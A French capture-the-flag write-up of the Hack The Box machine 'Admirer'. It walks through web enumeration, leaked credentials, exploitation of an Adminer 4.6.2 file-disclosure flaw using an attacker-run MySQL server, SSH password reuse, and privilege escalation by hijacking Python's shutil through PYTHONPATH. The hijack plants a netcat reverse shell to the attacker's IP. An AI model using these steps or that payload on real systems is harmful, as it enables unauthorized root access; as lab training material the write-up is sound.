Admirer - Hack The Box
Retirée il y a peu, je peux enfin publier le chemin que j'ai emprunter pour rooter Admirer ! Une vulnérabilité offre un accès distant sur le serveur et le détournement d'une librairie utilisée par un script python exécuté avec des permissions root mène à l'objectif. Une box très instructive !
Nmap
kali@kali:~$ nmap -p- 10.10.10.187
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-05 08:25 EDT
Nmap scan report for 10.10.10.187
Host is up (0.057s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Enum web
kali@kali:~$ gobuster dir -u http://10.10.10.187 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 80 -a Linux
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.187
[+] Threads: 80
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: Linux
[+] Timeout: 10s
===============================================================
2020/06/05 08:33:17 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/assets (Status: 301)
/.htpasswd (Status: 403)
/images (Status: 301)
/index.php (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
===============================================================
2020/06/05 08:33:29 Finished
===============================================================
robots.txt laisse entrevoir une url d'administration.
Nous n'avons pas d'accès sur /admin-dir/.
La page web donne une info intéressante : le dossier contient des contacts et secrets... Creusons un peu car la directive Disallow du fichier robots.txt empêche l'indexation mais pas l'accès !
kali@kali:~$ gobuster dir -u http://10.10.10.187/admin-dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 80 -a Linux -x .txt,.php,.bak,.old
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.187/admin-dir
[+] Threads: 80
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: Linux
[+] Extensions: php,bak,old,txt
[+] Timeout: 10s
===============================================================
2020/06/05 08:36:36 Starting gobuster
===============================================================
/.htaccess (Status: 403)
...
...
/.hta.bak (Status: 403)
/contacts.txt (Status: 200)
===============================================================
2020/06/05 08:36:56 Finished
===============================================================
Gobuster indique qu'un fichier contact.txt est détecté. Voici son contenu.
kali@kali:~$ curl -i http://10.10.10.187/admin-dir/contacts.txt
HTTP/1.1 200 OK
Date: Fri, 05 Jun 2020 12:38:58 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Wed, 29 Apr 2020 09:18:35 GMT
ETag: "15e-5a46a6ec54540"
Accept-Ranges: bytes
Content-Length: 350
Vary: Accept-Encoding
Content-Type: text/plain
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb
##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb
# Amy
Email: a.bialik@admirer.htb
# Leonard
Email: l.galecki@admirer.htb
#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb
# Bernadette
Email: b.rauch@admirer.htb
Encore un peu d'énumération web avec une liste de fichier plus importante (big.txt).
kali@kali:~$ gobuster dir -u http://10.10.10.187/admin-dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 80 -a Linux -x .txt,.php,.bak,.old
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.187/admin-dir
[+] Threads: 80
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: Linux
[+] Extensions: txt,php,bak,old
[+] Timeout: 10s
===============================================================
2020/06/05 09:15:21 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.bak (Status: 403)
/.htaccess.old (Status: 403)
/.htaccess.txt (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.bak (Status: 403)
/.htpasswd.old (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)
Les secrets sont là dans credentials.txt ! Mauvaise idée :-)
kali@kali:~$ curl -i http://10.10.10.187/admin-dir/credentials.txt
HTTP/1.1 200 OK
Date: Fri, 05 Jun 2020 13:17:14 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Wed, 29 Apr 2020 09:11:31 GMT
ETag: "88-5a46a5583b1c0"
Accept-Ranges: bytes
Content-Length: 136
Vary: Accept-Encoding
Content-Type: text/plain
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
FTP
Sur le FTP on a un ce qui ressemble à un backup de site web.
kali@kali:~$ ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:kali): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz
226 Directory send OK.
ftp>
On télécharge tout ça pour investiguer.
Le backup permet de comprendre la structure du site web. On a notamment un dossier "utility-scripts".
kali@kali:~/Admirer$ ls -l
total 28
drwxr-x--- 6 kali kali 4096 Jun 6 2019 assets
drwxr-x--- 4 kali kali 4096 Dec 2 2019 images
-rw-r----- 1 kali kali 4613 Dec 3 2019 index.php
-rw-r----- 1 kali kali 134 Dec 1 2019 robots.txt
drwxr-x--- 2 kali kali 4096 Dec 2 2019 utility-scripts
drwxr-x--- 2 kali kali 4096 Dec 2 2019 w4ld0s_s3cr3t_d1r
Ce dossier contient un script d'administration "admin_tasks.php"
http://10.10.10.187/utility-scripts/admin_tasks.php
kali@kali:~/Admirer/utility-scripts$ ls -l
total 16
-rw-r----- 1 kali kali 1795 Dec 2 2019 admin_tasks.php
-rw-r----- 1 kali kali 401 Dec 1 2019 db_admin.php
-rw-r----- 1 kali kali 20 Nov 29 2019 info.php
-rw-r----- 1 kali kali 53 Dec 2 2019 phptest.php
listing de : admin_tasks.php
<html>
<head>
<title>Administrative Tasks</title>
</head>
<body>
<h3>Admin Tasks Web Interface (v0.01 beta)</h3>
<?php
// Web Interface to the admin_tasks script
//
if(isset($_REQUEST['task']))
{
$task = $_REQUEST['task'];
if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
$task == '5' || $task == '6' || $task == '7')
{
/***********************************************************************************
Available options:
1) View system uptime
2) View logged in users
3) View crontab (current user only)
4) Backup passwd file (not working)
5) Backup shadow file (not working)
6) Backup web data (not working)
7) Backup database (not working)
NOTE: Options 4-7 are currently NOT working because they need root privileges.
I'm leaving them in the valid tasks in case I figure out a way
to securely run code as root from a PHP page.
************************************************************************************/
echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
}
else
{
echo("Invalid task.");
}
}
?>
Impossible d’injecter une commande car le point d'entrée $task est filtré.
Adminer
En panne de moyen d'action pour avancer, je recherche sur google : "admirer, sql et php" je suis tombé sur "adminer". Un outil que je parviens à retrouver dans le dossier /utility-scripts/ : http://10.10.10.187/utility-scripts/adminer.php
.
En version 4.6.2, il existe une vulnérabilité.
CF : https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability
Exploitation
Pour l'exploiter il nous faut un serveur mysql sur notre machine attaquant. Créer une BDD, une table avec une colonne, se connecter à notre BDD depuis Adminer sur la victime, et ainsi accéder à la vulnérabilité "file disclosure".
Autoriser l'accès au serveur dans la config mysql /etc/mysql/mariadb.conf.d/50-server.cnf :
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
#bind-address = 0.0.0.0
On créé la DB.
$ sudo msql -u root -p
MariaDB [(none)]> create database exploit;
MariaDB [(none)]> use exploit;
MariaDB [exploit]> create table dmp(content varchar(5000));
MariaDB [(none)]> CREATE USER 'exploit'@'%' IDENTIFIED BY 'exploit';
MariaDB [(none)]> GRANT ALL PRIVILEGES ON exploit.* TO 'exploit'@'%';
Et on utilise Adminer pour "administrer" notre toute fraîche BDD MySQL.
On peut alors lire les fichiers de la victime, en stockant leur contenu dans notre BDD (table dmp
).
Bonnes nouvelles avec le contenu du fichier index.php
. Résultat lisible dans la table de notre base.
MariaDB [(none)]> use exploit;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [exploit]> select * from dmp;
...
$servername = "localhost"; |
$username = "waldo"; |
$password = "&<h5b~yK3F#{PaPB&dA}{H>"; |
$dbname = "admirerdb";
...
On obtient des credentials qui correspondent à l'accès du site à sa base de données locale.
Password reuse
Est-ce que Waldo aurait également utiliser le même mot de passe pour l'accès ssh ?
Tu nous facilites la vie Waldo...
sudo -l
Waldo peut exécuter ce script (ALL) SETENV: /opt/scripts/admin_tasks.sh
en tant que root.
Ce script permet de lancer un autre script python, situé dans le même dossier, et donc en tant que root.
Il faudrait un moyen de passer un paramètre au script backup.py pour modifier son comportement.
shutil hijack
On constate qu'on utilise ici une fonction make_archive
de la librairie shutil
. Notons que 3 paramètres sont utilisés pour appeler cette fonction (source, destination et format). On devrait pouvoir hijacker cette librairie : https://rastating.github.io/privilege-escalation-via-python-library-hijacking/
Créons d'abord notre propre shutil.py
. Il doit être situé dans le dossier /tmp (enfin là où on a les permissions d'écrire sur le FS).
Préparons un reverse shell python dans /tmp/shutil.py.
import os
# 3 paramètres nécessaires comme la fonction réelle
def make_archive(a, b, c):
os.system('nc 10.10.14.27 443 -e "/bin/sh"')
Pour détourner le flux d'exécution du script pythonm, changeons la manière dont python recherche shutil.py
en modifiant la variable PYTHONPATH
lors de l'exécution. On lance le script et on choisit via le menu d'exécuter la fonction vulnérable.
Notre netcat reçoit la connexion en retour. Nous sommes root !
Tags: hackthebox